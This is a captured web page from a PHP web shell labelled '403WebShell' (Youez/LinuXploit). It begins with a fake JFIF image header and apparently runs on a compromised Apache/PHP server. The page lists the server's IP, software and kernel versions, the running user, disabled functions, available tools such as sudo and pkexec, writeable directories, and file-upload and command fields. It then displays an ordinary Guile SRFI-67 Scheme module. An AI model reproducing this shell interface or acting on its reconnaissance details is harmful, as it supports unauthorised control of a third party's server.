????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.220.9.180
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/guile/2.0/srfi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/guile/2.0/srfi/srfi-67.scm
;;; srfi-67.scm --- Compare Procedures

;; Copyright (C) 2010 Free Software Foundation, Inc.

;; This library is free software; you can redistribute it and/or
;; modify it under the terms of the GNU Lesser General Public
;; License as published by the Free Software Foundation; either
;; version 3 of the License, or (at your option) any later version.

;; This library is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
;; Lesser General Public License for more details.

;; You should have received a copy of the GNU Lesser General Public
;; License along with this library. If not, see
;; <http://www.gnu.org/licenses/>.

;;; Commentary:

;; This module is not yet documented in the Guile Reference Manual.

;;; Code:

(define-module (srfi srfi-67)
  #:export (</<=?
            </<?
            <=/<=?
            <=/<?
            <=?
            <?
            =?
            >/>=?
            >/>?
            >=/>=?
            >=/>?
            >=?
            >?
            boolean-compare
            chain<=?
            chain<?
            chain=?
            chain>=?
            chain>?
            char-compare
            char-compare-ci
            compare-by<
            compare-by<=
            compare-by=/<
            compare-by=/>
            compare-by>
            compare-by>=
            complex-compare
            cond-compare
            debug-compare
            default-compare
            if-not=?
            if3
            if<=?
            if<?
            if=?
            if>=?
            if>?
            integer-compare
            kth-largest
            list-compare
            list-compare-as-vector
            max-compare
            min-compare
            not=?
            number-compare
            pair-compare
            pair-compare-car
            pair-compare-cdr
            pairwise-not=?
            rational-compare
            real-compare
            refine-compare
            select-compare
            symbol-compare
            vector-compare
            vector-compare-as-list)
  #:replace (string-compare string-compare-ci)
  #:use-module (srfi srfi-27))

(cond-expand-provide (current-module) '(srfi-67))

(include-from-path "srfi/srfi-67/compare.scm")

Youez - 2016 - github.com/yon3zu
LinuXploit